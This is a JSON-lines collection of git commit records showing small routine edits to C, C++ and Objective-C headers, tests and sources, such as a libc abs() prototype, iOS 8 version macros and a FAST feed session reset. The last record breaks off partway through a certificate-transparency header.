{"commit":"ec699639ae10c455eb224826e9e46610b8b571f7","old_file":"test\/wasm\/stdio\/fseek.c","new_file":"test\/wasm\/stdio\/fseek.c","old_contents":"","new_contents":"#include <sys\/stat.h>\n#include <assert.h>\n#include <errno.h>\n#include <stdio.h>\n\nstatic long posix(const char path[static 1])\n{\n    struct stat metadata;\n\n    assert(!stat(path, &metadata));\n\n    return metadata.st_size;\n}\n\nstatic long standard(const char path[static 1])\n{\n    FILE* stream = fopen(path, \"rb\");\n\n    fseek(stream, 0, SEEK_END);\n    long position = ftell(stream);\n\n    fclose(stream);\n    return position;\n}\n\nint main(void)\n{\n    const char path[] = \"metallic.a\";\n\n    assert(posix(path) == standard(path));\n    assert(!errno);\n}\n","subject":"Test standard C interface for ll?seek","message":"Test standard C interface for ll?seek\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"e2ee2dab59a8367c3a94f0d7ed74d29e5236b16c","old_file":"include\/stdlib.h","new_file":"include\/stdlib.h","old_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_STDLIB_H\n#define MINLIBC_STDLIB_H\n\n#define NULL            0\n#define EXIT_SUCCESS    0\n#define EXIT_FAILURE    1\n\ntypedef unsigned long int size_t;\n\ndouble    atof(const char *nptr);\nint       atoi(const char *nptr);\nlong int  strtol(const char *nptr, char **endptr, int base);\n\nchar     *getenv(const char *name);\nvoid      abort(void);\nvoid      exit(int status);\n\nvoid     *malloc(size_t size);\nvoid     *realloc(void *ptr, size_t size);\nvoid     *calloc(size_t nmemb, size_t size);\nvoid      free(void *ptr);\n\nint       mkstemp(char *template);\n\nvoid     *bsearch(const void *, const void *, size_t, size_t,\n                  int (*)(const void *, const void *));\n\nint       putenv(char *str);\nint       unsetenv(const char *name);\n\n#endif\n","new_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_STDLIB_H\n#define MINLIBC_STDLIB_H\n\n#define NULL            0\n#define EXIT_SUCCESS    0\n#define EXIT_FAILURE    1\n\ntypedef unsigned long int size_t;\n\ndouble    atof(const char *nptr);\nint       atoi(const char *nptr);\nlong int  strtol(const char *nptr, char **endptr, int base);\n\nchar     *getenv(const char *name);\nvoid      abort(void);\nvoid      exit(int status);\n\nvoid     *malloc(size_t size);\nvoid     *realloc(void *ptr, size_t size);\nvoid     *calloc(size_t nmemb, size_t size);\nvoid      free(void *ptr);\n\nint       mkstemp(char *template);\n\nvoid     *bsearch(const void *, const void *, size_t, size_t,\n                  int (*)(const void *, const void *));\n\nint       putenv(char *str);\nint       unsetenv(const char *name);\n\nint       abs(int j);\n\n#endif\n","subject":"Add a prototype for abs().","message":"Add a prototype for abs().\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/minlibc,GaloisInc\/minlibc"}
{"commit":"ff603e2fa35e8e1ee2744e5ed5817845fdcca666","old_file":"server\/types\/JoinableImpl.h","new_file":"server\/types\/JoinableImpl.h","old_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public virtual Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl();\n\t~JoinableImpl() throw() {};\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\tstd::vector<Joinable> &getJoinees();\n\tstd::vector<Joinable> &getDirectionJoiness(const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/","new_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\nusing ::com::kurento::kms::api::StreamType;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public virtual Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl();\n\t~JoinableImpl() throw() {};\n\n\tstd::vector<StreamType::type> getStreams(const Joinable& joinable);\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\n\tvoid join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to, const StreamType::type stream);\n\n\tstd::vector<Joinable> &getJoinees();\n\tstd::vector<Joinable> &getDirectionJoiness(const Direction::type direction);\n\n\tstd::vector<Joinable> &getJoinees(const StreamType::type stream);\n\tstd::vector<Joinable> &getDirectionJoiness(const StreamType::type stream, const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/","subject":"Add methods to joinable to handle streams","message":"Add methods to joinable to handle streams\n","lang":"C","license":"lgpl-2.1","repos":"shelsonjava\/kurento-media-server,mparis\/kurento-media-server,Kurento\/kurento-media-server,Kurento\/kurento-media-server,lulufei\/kurento-media-server,lulufei\/kurento-media-server,mparis\/kurento-media-server,TribeMedia\/kurento-media-server,todotobe1\/kurento-media-server,shelsonjava\/kurento-media-server,todotobe1\/kurento-media-server,TribeMedia\/kurento-media-server"}
{"commit":"82941052dcbfa55dc20a02e0bb329e693d546477","old_file":"proctor\/include\/pcl\/proctor\/proposer.h","new_file":"proctor\/include\/pcl\/proctor\/proposer.h","old_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      float votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","new_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      double votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","subject":"Change votes to use double.","message":"Change votes to use double.\n\ngit-svn-id: 5398946ba177a3e438c2dae55e2cdfc2fb96c905@4320 a9d63959-f2ad-4865-b262-bf0e56cfafb6\n","lang":"C","license":"bsd-3-clause","repos":"fanxiaochen\/mypcltest,nikste\/pcl,nh2\/pcl,3dtof\/pcl,stfuchs\/pcl,ipa-rmb\/pcl,chenxingzhe\/pcl,cascheberg\/pcl,msalvato\/pcl_kinfu_highres,KevenRing\/vlp,v4hn\/pcl,stefanbuettner\/pcl,shivmalhotra\/pcl,stefanbuettner\/pcl,msalvato\/pcl_kinfu_highres,RufaelDev\/pcc-mp3dg,jakobwilm\/pcl,lydhr\/pcl,stfuchs\/pcl,LZRS\/pcl,LZRS\/pcl,srbhprajapati\/pcl,RufaelDev\/pcc-mp3dg,3dtof\/pcl,KevenRing\/pcl,jeppewalther\/kinfu_segmentation,mschoeler\/pcl,starius\/pcl,shyamalschandra\/pcl,zavataafnan\/pcl-truck,jakobwilm\/pcl,fskuka\/pcl,lydhr\/pcl,chenxingzhe\/pcl,damienjadeduff\/pcl,locnx1984\/pcl,cascheberg\/pcl,jeppewalther\/kinfu_segmentation,KevenRing\/pcl,KevenRing\/pcl,stefanbuettner\/pcl,srbhprajapati\/pcl,krips89\/pcl_newfeatures,starius\/pcl,krips89\/pcl_newfeatures,nikste\/pcl,kanster\/pcl,pkuhto\/pcl,MMiknis\/pcl,jeppewalther\/kinfu_segmentation,chenxingzhe\/pcl,starius\/pcl,wgapl\/pcl,DaikiMaekawa\/pcl,chenxingzhe\/pcl,fskuka\/pcl,ResByte\/pcl,raydtang\/pcl,KevenRing\/pcl,the-glu\/pcl,chatchavan\/pcl,shivmalhotra\/pcl,Tabjones\/pcl,kanster\/pcl,v4hn\/pcl,jakobwilm\/pcl,raydtang\/pcl,cascheberg\/pcl,closerbibi\/pcl,drmateo\/pcl,raydtang\/pcl,mikhail-matrosov\/pcl,stfuchs\/pcl,drmateo\/pcl,mikhail-matrosov\/pcl,lydhr\/pcl,fanxiaochen\/mypcltest,KevenRing\/vlp,soulsheng\/pcl,ResByte\/pcl,KevenRing\/vlp,ipa-rmb\/pcl,Nerei\/pcl_old_repo,srbhprajapati\/pcl,v4hn\/pcl,DaikiMaekawa\/pcl,damienjadeduff\/pcl,Tabjones\/pcl,closerbibi\/pcl,damienjadeduff\/pcl,ResByte\/pcl,zhangxaochen\/pcl,chatchavan\/pcl,locnx1984\/pcl,shivmalhotra\/pcl,raydtang\/pcl,chenxingzhe\/pcl,Tabjones\/pcl,wgapl\/pcl,RufaelDev\/pcc-mp3dg,v4hn\/pcl,zhangxaochen\/pcl,simonleonard\/pcl,KevenRing\/pcl,sbec\/pcl,starius\/pcl,jeppewalther\/kinfu_segmentation,wgapl\/pcl,v4hn\/pcl,closerbibi\/pcl,DaikiMaekawa\/pcl,fanxiaochen\/mypcltest,locnx1984\/pcl,mikhail-matrosov\/pcl,closerbibi\/pcl,soulsheng\/pcl,stefanbuettner\/pcl,lydhr\/pcl,zhangxaochen\/pcl,shyamalschandra\/pcl,jakobwilm\/pcl,pkuhto\/pcl,lebronzhang\/pcl,krips89\/pcl_newfeatures,Tabjones\/pcl,MMiknis\/pcl,zavataafnan\/pcl-truck,shyamalschandra\/pcl,Tabjones\/pcl,lebronzhang\/pcl,zhangxaochen\/pcl,ipa-rmb\/pcl,zhangxaochen\/pcl,MMiknis\/pcl,Nerei\/pcl_old_repo,simonleonard\/pcl,wgapl\/pcl,soulsheng\/pcl,pkuhto\/pcl,soulsheng\/pcl,drmateo\/pcl,msalvato\/pcl_kinfu_highres,wgapl\/pcl,stfuchs\/pcl,lebronzhang\/pcl,locnx1984\/pcl,jeppewalther\/kinfu_segmentation,ResByte\/pcl,LZRS\/pcl,fskuka\/pcl,DaikiMaekawa\/pcl,stfuchs\/pcl,ipa-rmb\/pcl,lebronzhang\/pcl,ResByte\/pcl,LZRS\/pcl,fanxiaochen\/mypcltest,kanster\/pcl,nh2\/pcl,damienjadeduff\/pcl,drmateo\/pcl,kanster\/pcl,mikhail-matrosov\/pcl,sbec\/pcl,KevenRing\/vlp,sbec\/pcl,stefanbuettner\/pcl,shyamalschandra\/pcl,nikste\/pcl,shangwuhencc\/pcl,cascheberg\/pcl,fskuka\/pcl,RufaelDev\/pcc-mp3dg,chatchavan\/pcl,the-glu\/pcl,nikste\/pcl,the-glu\/pcl,pkuhto\/pcl,drmateo\/pcl,MMiknis\/pcl,chatchavan\/pcl,cascheberg\/pcl,nh2\/pcl,MMiknis\/pcl,simonleonard\/pcl,zavataafnan\/pcl-truck,krips89\/pcl_newfeatures,raydtang\/pcl,jakobwilm\/pcl,fskuka\/pcl,3dtof\/pcl,lebronzhang\/pcl,closerbibi\/pcl,pkuhto\/pcl,nh2\/pcl,locnx1984\/pcl,DaikiMaekawa\/pcl,3dtof\/pcl,LZRS\/pcl,mschoeler\/pcl,mschoeler\/pcl,mikhail-matrosov\/pcl,sbec\/pcl,kanster\/pcl,starius\/pcl,fanxiaochen\/mypcltest,RufaelDev\/pcc-mp3dg,msalvato\/pcl_kinfu_highres,damienjadeduff\/pcl,mschoeler\/pcl,sbec\/pcl,mschoeler\/pcl,krips89\/pcl_newfeatures,srbhprajapati\/pcl,zavataafnan\/pcl-truck,shangwuhencc\/pcl,simonleonard\/pcl,Nerei\/pcl_old_repo,soulsheng\/pcl,nikste\/pcl,lydhr\/pcl,shangwuhencc\/pcl,the-glu\/pcl,ipa-rmb\/pcl,KevenRing\/vlp,zavataafnan\/pcl-truck,srbhprajapati\/pcl,the-glu\/pcl,simonleonard\/pcl,shivmalhotra\/pcl,shangwuhencc\/pcl,3dtof\/pcl,shangwuhencc\/pcl,shivmalhotra\/pcl,shyamalschandra\/pcl,Nerei\/pcl_old_repo,msalvato\/pcl_kinfu_highres"}
{"commit":"7ff3d12d44a03d407f53233d1247370bd85c455b","old_file":"kalarmd\/compat.h","new_file":"kalarmd\/compat.h","old_contents":"\/*\n    KDE2 compatibility for KDE Alarm Daemon and KDE Alarm Daemon GUI.\n\n    This file is part of the KDE alarm daemon.\n    Copyright (c) 2001 David Jarvie <software@astrojar.org.uk>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#ifndef AD_COMPAT_H\n#define AD_COMPAT_H\n\n\/\/ Compatibility with KDE 2.2\n#include <qglobal.h>\n#if QT_VERSION < 300\n\t#define QPtrList         QList\n\t#define QPtrListIterator QListIterator\n#endif\n#include <kapp.h>\n#if KDE_VERSION < 290\n   #define Alarm KOAlarm\n#endif\n\n#endif\n","new_contents":"\/*\n    KDE2 compatibility for KDE Alarm Daemon and KDE Alarm Daemon GUI.\n\n    This file is part of the KDE alarm daemon.\n    Copyright (c) 2001 David Jarvie <software@astrojar.org.uk>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#ifndef AD_COMPAT_H\n#define AD_COMPAT_H\n\n\/\/ Compatibility with KDE 2.2\n#include <qglobal.h>\n#if QT_VERSION < 300\n\t#define QPtrList         QList\n\t#define QPtrListIterator QListIterator\n#endif\n#include <kapp.h>\n#if KDE_VERSION < 290\n   #define Alarm KOAlarm\n   #define uid   VUID\n#endif\n\n#endif\n","subject":"Adjust for changes in libkcal","message":"Adjust for changes in libkcal\n\nsvn path=\/trunk\/kdepim\/; revision=133733\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"0db041be3be9c84c2949a4f7eb9c3b6cd80ae97c","old_file":"arch\/openrisc\/kernel\/vmlinux.h","new_file":"arch\/openrisc\/kernel\/vmlinux.h","old_contents":"#ifndef __OPENRISC_VMLINUX_H_\n#define __OPENRISC_VMLINUX_H_\n\n#ifdef CONFIG_BLK_DEV_INITRD\nextern char __initrd_start, __initrd_end;\nextern char __initramfs_start;\n#endif\n\nextern u32 __dtb_start[];\n\n#endif\n","new_contents":"#ifndef __OPENRISC_VMLINUX_H_\n#define __OPENRISC_VMLINUX_H_\n\n#ifdef CONFIG_BLK_DEV_INITRD\nextern char __initrd_start, __initrd_end;\n#endif\n\nextern u32 __dtb_start[];\n\n#endif\n","subject":"Remove unused declaration of __initramfs_start","message":"openrisc: Remove unused declaration of __initramfs_start\n\nSigned-off-by: Geert Uytterhoeven <0da414d9d963da4039c2a0525b1844228075aa58@linux-m68k.org>\nSigned-off-by: Jonas Bonn <35a2c6fae61f8077aab61faa4019722abf05093c@southpole.se>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"6b08a16dbf2e47ec630fd0f1dd575e82a5feb182","old_file":"cc1\/tests\/test039.c","new_file":"cc1\/tests\/test039.c","old_contents":"","new_contents":"\n\/*\nname: TEST039\ndescription: Test of integer constants\ncomments: This test is done for z80 sizes\noutput:\nF1\tI\nG2\tF1\tmain\n{\n\\\nA3\tI\ti\nA4\tN\tu\nA5\tW\tl\nA6\tZ\tul\nA7\tQ\tll\nA8\tO\tull\n\tA3\t#I1\t:I\n\tA3\t#I1\t:I\n\tA4\t#N1\t:N\n\tA4\t#N1\t:N\n\tA5\t#W1\t:W\n\tA5\t#W0\t:W\n\tA4\t#N0\t:N\n\tA6\t#Z1\t:Z\n\tA5\t#W1\t:W\n\tA7\t#Q0\t:Q\n\tA6\t#Z0\t:Z\n\tA8\t#O1\t:O\n\tA8\t#O1\t:O\n\tr\t#I0\n}\n*\/\n\nint\nmain(void)\n{\n\tint i;\n\tunsigned u;\n\tlong l;\n\tunsigned long ul;\n\tlong long ll;\n\tunsigned long long ull;\n\n\ti = 1;\n\ti = 1u;\n\tu = 1u;\n\tu = 1;\n\tl = 1l;\n\tl = 0xFFFF + 1;\n\tu = 0xFFFF + 1;\n\tul = 1ul;\n\tl = 1ul;\n\tll = 0xFFFFFFFF + 1;\n\tul = 0xFFFFFFFF + 1;\n\tull = 1lul;\n\tull = 1;\n\treturn 0;\n}\n","subject":"Add test for integer constants","message":"Add test for integer constants\n\nThere are some ugly rules in C99 about the type of integer\nconstants, and this test try to check them.\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"3b9b66171c55dfa3e1907c6ea7f9e200652936a0","old_file":"GCMCocoaExtensions\/GCMCocoaExtensions\/GCMDeviceInfo.h","new_file":"GCMCocoaExtensions\/GCMCocoaExtensions\/GCMDeviceInfo.h","old_contents":"\/\/\n\/\/  GCMDeviceInfo.h\n\/\/  GCMCocoaExtensions\n\/\/\n\/\/  Created by Jerry Hsu on 11\/26\/13.\n\/\/  Copyright (c) 2013 GameChanger. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)\n#define SYSTEM_VERSION_GREATER_THAN(v)              ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)\n#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v)  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)\n#define SYSTEM_VERSION_LESS_THAN(v)                 ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)\n#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v)     ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)\n\n#define IOS7_OR_GREATER SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@\"7.0\")\n#define PRE_IOS7 SYSTEM_VERSION_LESS_THAN(@\"7.0\")\n\n@interface GCMDeviceInfo : NSObject\n\n+ (BOOL)isRetinaDisplay;\n+ (BOOL)iPad;\n\n@end\n","new_contents":"\/\/\n\/\/  GCMDeviceInfo.h\n\/\/  GCMCocoaExtensions\n\/\/\n\/\/  Created by Jerry Hsu on 11\/26\/13.\n\/\/  Copyright (c) 2013 GameChanger. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)\n#define SYSTEM_VERSION_GREATER_THAN(v)              ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)\n#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v)  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)\n#define SYSTEM_VERSION_LESS_THAN(v)                 ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)\n#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v)     ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)\n\n#define IOS7_OR_GREATER SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@\"7.0\")\n#define PRE_IOS7 SYSTEM_VERSION_LESS_THAN(@\"7.0\")\n\n#define IOS8_OR_GREATER SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@\"8.0\")\n#define PRE_IOS8 SYSTEM_VERSION_LESS_THAN(@\"8.0\")\n\n@interface GCMDeviceInfo : NSObject\n\n+ (BOOL)isRetinaDisplay;\n+ (BOOL)iPad;\n\n@end\n","subject":"Add macros to check for iOS 8","message":"Add macros to check for iOS 8\n","lang":"C","license":"mit","repos":"gamechanger\/GCMCocoaExtensions,gamechanger\/GCMCocoaExtensions,gamechanger\/GCMCocoaExtensions"}
{"commit":"b1382587216ff7fc6a3c0a664d5546c3ec9b594f","old_file":"components\/Echo\/src\/echo.c","new_file":"components\/Echo\/src\/echo.c","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <Echo.h>\n#include <string.h>\n\nvoid b__init(void) {\n}\n\nchar * b_echo_string(char *s) {\n    return strdup(s);\n}\n\nint b_echo_int(int i) {\n    return i;\n}\n\nfloat b_echo_float(float f) {\n    return f;\n}\n\ndouble b_echo_double(double d) {\n    return d;\n}\n\nint b_echo_mix(double d) {\n    return d;\n}\n\nint b_echo_parameter(int pin, int *pout) {\n    *pout = pin;\n    return pin;\n}\n\nvoid b_increment_parameter(int *x) {\n    *x = *x + 1;\n}\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <Echo.h>\n#include <string.h>\n\nvoid b__init(void) {\n}\n\nchar * b_echo_string(const char *s) {\n    return strdup(s);\n}\n\nint b_echo_int(int i) {\n    return i;\n}\n\nfloat b_echo_float(float f) {\n    return f;\n}\n\ndouble b_echo_double(double d) {\n    return d;\n}\n\nint b_echo_mix(double d) {\n    return d;\n}\n\nint b_echo_parameter(int pin, int *pout) {\n    *pout = pin;\n    return pin;\n}\n\nvoid b_increment_parameter(int *x) {\n    *x = *x + 1;\n}\n","subject":"Adjust RPC parameter qualification for CAmkES changes.","message":"Adjust RPC parameter qualification for CAmkES changes.\n","lang":"C","license":"bsd-2-clause","repos":"seL4\/camkes-apps-simple--devel"}
{"commit":"03763a26c09855a4ebf565ea7550c9f255e26e4d","old_file":"include\/libtrading\/proto\/fast_feed.h","new_file":"include\/libtrading\/proto\/fast_feed.h","old_contents":"#ifndef\tLIBTRADING_FAST_FEED_H\n#define\tLIBTRADING_FAST_FEED_H\n\n#include \"libtrading\/proto\/fast_session.h\"\n\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\nstruct fast_feed {\n\tstruct fast_session\t*session;\n\tstruct fast_session_cfg\tcfg;\n\n\tu64\t\t\trecv_num;\n\tchar\t\t\txml[128];\n\tchar\t\t\tlip[32];\n\tchar\t\t\tsip[32];\n\tchar\t\t\tip[32];\n\tbool\t\t\tactive;\n\tint\t\t\tport;\n};\n\nstatic inline int socket_setopt(int sockfd, int level, int optname, int optval)\n{\n\treturn setsockopt(sockfd, level, optname, (void *) &optval, sizeof(optval));\n}\n\nstatic inline struct fast_message *fast_feed_recv(struct fast_feed *feed, int flags)\n{\n\treturn fast_session_recv(feed->session, flags);\n}\n\nint fast_feed_close(struct fast_feed *feed);\nint fast_feed_open(struct fast_feed *feed);\n\n#endif\t\/* LIBTRADING_FAST_FEED_H *\/\n","new_contents":"#ifndef\tLIBTRADING_FAST_FEED_H\n#define\tLIBTRADING_FAST_FEED_H\n\n#include \"libtrading\/proto\/fast_session.h\"\n\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\nstruct fast_feed {\n\tstruct fast_session\t*session;\n\tstruct fast_session_cfg\tcfg;\n\n\tu64\t\t\trecv_num;\n\tchar\t\t\txml[128];\n\tchar\t\t\tlip[32];\n\tchar\t\t\tsip[32];\n\tchar\t\t\tip[32];\n\tbool\t\t\tactive;\n\tint\t\t\tport;\n};\n\nstatic inline int socket_setopt(int sockfd, int level, int optname, int optval)\n{\n\treturn setsockopt(sockfd, level, optname, (void *) &optval, sizeof(optval));\n}\n\nstatic inline struct fast_message *fast_feed_recv(struct fast_feed *feed, int flags)\n{\n\tif (feed->session->reset)\n\t\tfast_session_reset(feed->session);\n\n\treturn fast_session_recv(feed->session, flags);\n}\n\nint fast_feed_close(struct fast_feed *feed);\nint fast_feed_open(struct fast_feed *feed);\n\n#endif\t\/* LIBTRADING_FAST_FEED_H *\/\n","subject":"Reset a session if implicit reset option is set","message":"FAST: Reset a session if implicit reset option is set\n\nSigned-off-by: Marat Stanichenko <146c4a279a7427b2cc19a19b6130cbb7ee404ab1@gmail.com>\nSigned-off-by: Pekka Enberg <add4fcd06328a394f0ad91feda7ee057316dc5ed@kernel.org>\n","lang":"C","license":"bsd-2-clause","repos":"jvirtanen\/libtrading,divaykin\/libtrading,libtrading\/libtrading,mstanichenko\/libtrading,divaykin\/libtrading,libtrading\/libtrading,svdev\/libtrading,penberg\/libtrading,fengzhyuan\/libtrading,femtotrader\/libtrading,penberg\/libtrading,NunoEdgarGub1\/libtrading,etoestja\/libtrading,mstanichenko\/libtrading,Bitcoinsulting\/libtrading,jvirtanen\/libtrading,fengzhyuan\/libtrading,etoestja\/libtrading,femtotrader\/libtrading,svdev\/libtrading,NunoEdgarGub1\/libtrading,Bitcoinsulting\/libtrading"}
{"commit":"85dec0bf899ac18477920095ad381a7443f800b6","old_file":"cpp\/log\/cert_submission_handler.h","new_file":"cpp\/log\/cert_submission_handler.h","old_contents":"#ifndef CERT_SUBMISSION_HANDLER_H\n#define CERT_SUBMISSION_HANDLER_H\n\n#include <string>\n\n#include \"base\/macros.h\"\n#include \"log\/cert_checker.h\"\n#include \"proto\/ct.pb.h\"\n#include \"proto\/serializer.h\"\n#include \"util\/status.h\"\n\n\n\/\/ Parse incoming submissions, do preliminary sanity checks and pass them\n\/\/ through cert checker.\n\/\/ Prepare for signing by parsing the input into an appropriate\n\/\/ log entry structure.\nclass CertSubmissionHandler {\n public:\n  \/\/ Does not take ownership of the cert_checker.\n  explicit CertSubmissionHandler(const cert_trans::CertChecker* cert_checker);\n\n  \/\/ These may change |chain|.\n  \/\/ TODO(pphaneuf): These could return StatusOr<ct::LogEntry>.\n  util::Status ProcessX509Submission(cert_trans::CertChain* chain,\n                                     ct::LogEntry* entry) const;\n  util::Status ProcessPreCertSubmission(cert_trans::PreCertChain* chain,\n                                        ct::LogEntry* entry) const;\n\n  \/\/ For clients, to reconstruct the bytestring under the signature\n  \/\/ from the observed chain. Does not check whether the entry\n  \/\/ has valid format (i.e., does not check length limits).\n  static bool X509ChainToEntry(const cert_trans::CertChain& chain,\n                               ct::LogEntry* entry);\n\n  const std::multimap<std::string, const cert_trans::Cert*>& GetRoots() const {\n    return cert_checker_->GetTrustedCertificates();\n  }\n\n private:\n  const cert_trans::CertChecker* const cert_checker_;\n\n  DISALLOW_COPY_AND_ASSIGN(CertSubmissionHandler);\n};\n\n\n#endif\n","new_contents":"#ifndef CERT_SUBMISSION_HANDLER_H\n#define 